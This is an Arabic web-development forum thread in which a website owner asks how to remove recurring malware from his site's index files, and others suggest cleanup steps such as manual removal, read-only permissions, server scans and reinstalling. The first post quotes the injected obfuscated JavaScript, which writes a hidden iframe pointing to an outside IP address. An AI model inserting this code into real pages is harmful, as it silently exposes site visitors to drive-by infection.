نظرة سريعة على مجريات يوم سوالف
بعض التغييرات في أماكن وأسلوب الإعلان في سوالف سوفت

 

العودة   سوالف سوفت > قسم تطوير وبرمجة المواقع للمتقدمين > تطوير الويب
المدوّنات البحث مشاركات اليوم اجعل كافة المشاركات مقروءة

رد
 
LinkBack أدوات الموضوع
عضو نشيط
تاريخ التسجيل: May 2006-
#1 (permalink)  
فايروس في موقعي آذاني كثيراً


السلام عليكم ورحمة الله وبركاته

كيف حالكم اخواني

هناك فايروس في موقعي آذاني وآذى زوار موقعي

والفايروس عبارة عن كود قد يكون جافا سكربت يظهر في ملفات موقعي لوحده ، وعندما ازيله يعود ويظهر مره اخرى في ملفات موقعي ولا اعرف ماهو سبب ذلك

وقد اغلقت الموقع لهذا السبب

الكود الذي يظهر هو
كود بلغة HTML:
<script> <!--
var d=document,kol=561;
function O10H486FBB514DCF3(H486FBB5150408){ function H486FBB5152AF1() {var H486FBB51554EF=16;return H486FBB51554EF;} return( parseInt(H486FBB5150408,H486FBB5152AF1()));}function H486FBB5157987(H486FBB515A03B){ function H486FBB515EE26() {var H486FBB515F630=2;return H486FBB515F630;} var H486FBB515C713='';for(H486FBB515E924=0; H486FBB515E924<H486FBB515A03B.length; H486FBB515E924+=H486FBB515EE26()){ H486FBB515C713 += ( String.fromCharCode (O10H486FBB514DCF3(H486FBB515A03B.substr(H486FBB515E924, H486FBB515EE26()))));}return H486FBB515C713;} document.write(H486FBB5157987('3C7363726970743E696628216D796961297B642E777269746528273C494652414D45206E616D653D4F31207372633D5C27687474703A2F2F37372E3232312E3133332E3137312F2E69662F676F2E68746D6C3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A313438363635292B273136315C272077696474683D353631206865696768743D323635207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F494652414D45203E27293B7D766172206D7969613D747275653B3C2F7363726970743E'));
//--> </script>
والزوار الذي لديهم كاسبر سكاي يظهر لديهم ان هناك تروجن هورس في الموقع

ارجوا من لديه حل في هذه المشكله ان يخبرنا سريعا

مع العلم ان الموقع اسلامي






__________________
للبيع دومين (واحة)
w7a.net
للاستفسار أرجو مراسلتي

::::::::::::::::::: لمراسلتي :::::::::::::::::::
:::::::::::: abdvvv (at) gmail.com ::::::::::::

بطاقات إسلامية
الحارث متواجد حالياً   قديم 05-07-2008, 09:53 PM
رد مع اقتباس
عضو نشيط جدا
تاريخ التسجيل: Aug 2007-
#2 (permalink)  

حلول سريعه من طرفك :
- ازاله الكود يدويا من كل الملفات
- مسح برنامج الاف تي بي الموجود على جهازك ( غالبا هو السبب المباشر )
- اجراء وقائي : فرمطه جهازك ونسخه ويندوز جديده وبرنامج حمايه قوى
حلول سريعه لمالك السيرفر
- سكان على ملفات السيرفر ( في حاله اصابه اكثر من موقع بهذا الفايروس )






سيف مسلول غير متواجد حالياً   قديم 05-07-2008, 10:15 PM
رد مع اقتباس
عضو جديد
تاريخ التسجيل: May 2007-
#3 (permalink)  

وعليكم السلام ورحمه الله وبركاته

هذا فيروس اخي مصاب به جهازك

يدخل في ملفات الانترنت الـ HTML & PHP

لكي ينشر نفسة لزوار موقعك

قم بفتح اي صفحة انترنت محفوظة لديك وستجد بها اكواد غريبة وهذا معناه ان جهازك مصاب

حاول عمل اسكان فالفيروس لا يدخل الا علي صفحات الانترنت فقط افضل من الفرمتة

والله اعلم






أحمد الزغبى غير متواجد حالياً   قديم 06-07-2008, 04:06 AM
رد مع اقتباس
عضو سوبر نشيط
تاريخ التسجيل: Jun 2003-
#4 (permalink)  

اعتقد هذا اسمه الفريم

يدخل على ملفات الاندكس في الموقع

اعط جميع ملفات الاندكس لأي سكربت عندك حتى مجلد الادمن اعط ملف الاندكس اللي فيه التصريح 444






__________________
:: مكتبة الجليس ::
http://www.aljlees.com
Nssaf غير متواجد حالياً   قديم 06-07-2008, 03:13 PM
رد مع اقتباس
عضو نشيط
تاريخ التسجيل: Aug 2007-
#5 (permalink)  

كان لدى مثل هذا الفايروس مسبقا (فى البداية)

قمت بمسح جميع الملفات من الموقع وفرمتة (اعادة تقسيم للهارد) الجهاز و اخبرت المستضيف بعمل اسكان
ثم قمت بتنصيب الاسكربتات من جديد وكل شئ صار تمام

انما فى حالة ان الموقع نشط
انصحك باخذ نسخة اتياطية من قواعد البيانات والملفات المرفوعة (ملفات تم اضافتها عن طريق تصفح الموقع كالابلود لمواقع التحميل والصور الخ) دون اخذ نسخة من الاسكربتات
وتقوم بعد ذلك بمسح الموقع كاملا وتنصيب نفس موديل ونسخة الاسكربت مرة اخرى واجراء تعديلاتك عليها ثم رفع قاعدة البيانات الى الموقع مرة ثانية

واذا كان هناك حلول افضل اعتقد ان الاخوان هنا لن يقصرو معك






Gendows Systems غير متواجد حالياً   قديم 07-07-2008, 03:15 AM
رد مع اقتباس
عضو نشيط
تاريخ التسجيل: May 2006-
#6 (permalink)  

اشكر جميع المشاركين في هذا الموضوع المهم

الاخ سيف مسلول :
ازلت الكود يدويا واشتغلت من اجهزة ثانيه غير جهازي وعاد الفايروس
يعني 100% العيب ليس من جهازي بل الفايروس على سيرفر الاستضافة
بالنسبة من اني اطلب من المستضيف عمل سكان هذي صعبه شوي لان الاستضافه اللي انا فيها مافي مثل هالخدمات .

الاخ احمد الزغبي :
كما قلت للاخ السيف المسلول اعتقد ان المشكله ليست من جهازي لاني استخدمت اجهزة اخرى والمشكلة مستمرة

الاخ ناصر:
فعلا بالضبط مثل ما قلت الفايروس ينتشر في ملفات الاندكس فقط ،عطيتهم تصريح 444 ولكن المشكلة مازالت مستمرة!!

الاخ Gendows Systems :
اشكرك لمساهمتك
هل تقصد الفورمات لجهازك ام فورمات للسيرفر من جهة المستضيف؟
هو فعلا موقعنا نشيط ولا نريد ايقافه لفترات طويلة

الان الموقع مغلق لثلاث ايام
ومازالت المشكلة مستمرة
http://www.albetaqa.com/






__________________
للبيع دومين (واحة)
w7a.net
للاستفسار أرجو مراسلتي

::::::::::::::::::: لمراسلتي :::::::::::::::::::
:::::::::::: abdvvv (at) gmail.com ::::::::::::

بطاقات إسلامية
الحارث متواجد حالياً   قديم 08-07-2008, 12:36 AM
رد مع اقتباس
عضو نشيط
تاريخ التسجيل: May 2006-
#7 (permalink)  

تقريبا والله اعلم اكتشفت الملفات التي تغير الاندكس وتضع فيه الكود الخبيث

وهي مرفقة مع هذا الرد

واتمنى من اهل الخبره عرض الملفات ومشاهدتها والتعليق عليها

واتمنى ان اعرف كيف رُفِعت على موقعي

وهل من الممكن ان تُرفع مره اخرى






الملفات المرفقة
نوع الملف: zip code.zip‏ (2.4 كيلوبايت, المشاهدات 16)
__________________
للبيع دومين (واحة)
w7a.net
للاستفسار أرجو مراسلتي

::::::::::::::::::: لمراسلتي :::::::::::::::::::
:::::::::::: abdvvv (at) gmail.com ::::::::::::

بطاقات إسلامية
الحارث متواجد حالياً   قديم 11-07-2008, 12:25 AM
رد مع اقتباس
عضو سوبر نشيط
تاريخ التسجيل: Aug 2007-
#8 (permalink)  

هل انتهت مشكلتك ؟

لا اتوقع انها من جهازك لدي على الجهاز عشرات من صفحات الاندكس بداخلها الفريم

المشكلة لم يصيب الا موقع واحد

افحص كل صفحه باسم index. بعد التنظيف

احذف مابداخل هذا المجلد .trash

اعط كل صفحه index لديك تصريح 444

لو محتاج مساعدة هات اميلك وباذن الله نعمل تنظيف سوياً

دمت بخير






__________________
لتنبية يكتب في العضوية ( 2 )

إذا لم تستحي فاصنع ما شئت
saudi2007 غير متواجد حالياً   قديم 11-07-2008, 12:36 AM
رد مع اقتباس
عضو سوبر نشيط
تاريخ التسجيل: Aug 2007-
#9 (permalink)  

اخي الملفات المرفقة لم اجدها على الموقع المصاب لدي ابداً






__________________
لتنبية يكتب في العضوية ( 2 )

إذا لم تستحي فاصنع ما شئت
saudi2007 غير متواجد حالياً   قديم 11-07-2008, 12:44 AM
رد مع اقتباس
عضو نشيط
تاريخ التسجيل: May 2006-
#10 (permalink)  

الاخ saudi2007 شكرا لك على هذا التوضيح

بالنسبة للتصريح غيرته وعادي تغير الاندكس مادري ليش

اما بالنسبة للملفات اللي ارفقتها مو شرط تحصلها في المجلد الرئيسي للموقع يمكن تحصلها داخل احد المجلدات الداخليه

وممكن تحصل الملفات باسماء ثانيه مو شرط بنفس الاسم

انت شوف اي ملف غريب مو انت اللي رافعه ممكن يكون هو






__________________
للبيع دومين (واحة)
w7a.net
للاستفسار أرجو مراسلتي

::::::::::::::::::: لمراسلتي :::::::::::::::::::
:::::::::::: abdvvv (at) gmail.com ::::::::::::

بطاقات إسلامية
الحارث متواجد حالياً   قديم 11-07-2008, 01:01 AM
رد مع اقتباس
عضو نشيط
تاريخ التسجيل: May 2006-
#11 (permalink)  

للاسف ظننت ان الفايروس كان يأتي من الملفات المذكورة في الاعلى

بعد ازالة الملفات عاد الفايروس من جديد

ولكن جربت ان انقل ملفات موقعي على استضافة اخرى ولم يعود الفايروس اليها

هل من تفسير لذلك ، وهل تعتقدون انني اذا نقلت موقعي الى استضافه اخرى لن يعود الفايروس من جديد؟؟






__________________
للبيع دومين (واحة)
w7a.net
للاستفسار أرجو مراسلتي

::::::::::::::::::: لمراسلتي :::::::::::::::::::
:::::::::::: abdvvv (at) gmail.com ::::::::::::

بطاقات إسلامية
الحارث متواجد حالياً   قديم 11-07-2008, 08:30 PM
رد مع اقتباس
عضو نشيط
تاريخ التسجيل: May 2006-
#12 (permalink)  

وجدت حل مؤقت لهذا الفايروس

قمت بتغيير الفولدر الذي به الموقع بهدف تغيير الباث الفيزيائي ، يعني باث الموقع على السيرفر

physical path

وبعد ذلك قمت بازاله الاكواد الخبيثه يدويا

الى الان الوضع مستقر ولله الحمد






__________________
للبيع دومين (واحة)
w7a.net
للاستفسار أرجو مراسلتي

::::::::::::::::::: لمراسلتي :::::::::::::::::::
:::::::::::: abdvvv (at) gmail.com ::::::::::::

بطاقات إسلامية
الحارث متواجد حالياً   قديم 13-07-2008, 01:03 AM
رد مع اقتباس
رد


أدوات الموضوع

تعليمات المشاركة
لا تستطيع كتابة مواضيع
لا تستطيع كتابة ردود
لا تستطيع إرفاق ملفات
لا تستطيع تعديل مشاركاتك

كود [IMG] متاحة
كود HTML معطلة
Trackbacks are متاحة
Pingbacks are متاحة
Refbacks are متاحة


المواضيع المتشابهه
الموضوع كاتب الموضوع المنتدى مشاركات آخر مشاركة
موقعي راح فيها :( لحقوا علي يا جماعه شاعر_الظلام تطوير الويب 10 09-04-2006 01:14 PM
كيف أسحب ملف من موقع إلى موقعي ؟ hasan147 تطوير الويب 2 24-03-2006 06:42 AM
مساعدة من جميع الاخوة وخاصة المصريين - هل موقعي يطلب رقم سري للتحميل منه والحل ابو مشاري 97 تطوير الويب 11 14-10-2005 07:47 AM
أنا في مأزق كبير .. بنيت موقعي على أساس خاطئ المربع نت تطوير الويب 6 01-04-2004 02:59 PM
شباب ببيع موقعي بسبة الباندويث Mr.php-ar تطوير الويب 20 01-04-2004 12:17 AM


الساعة الآن: 10:06 AM بتوقيت المملكة العربية السعودية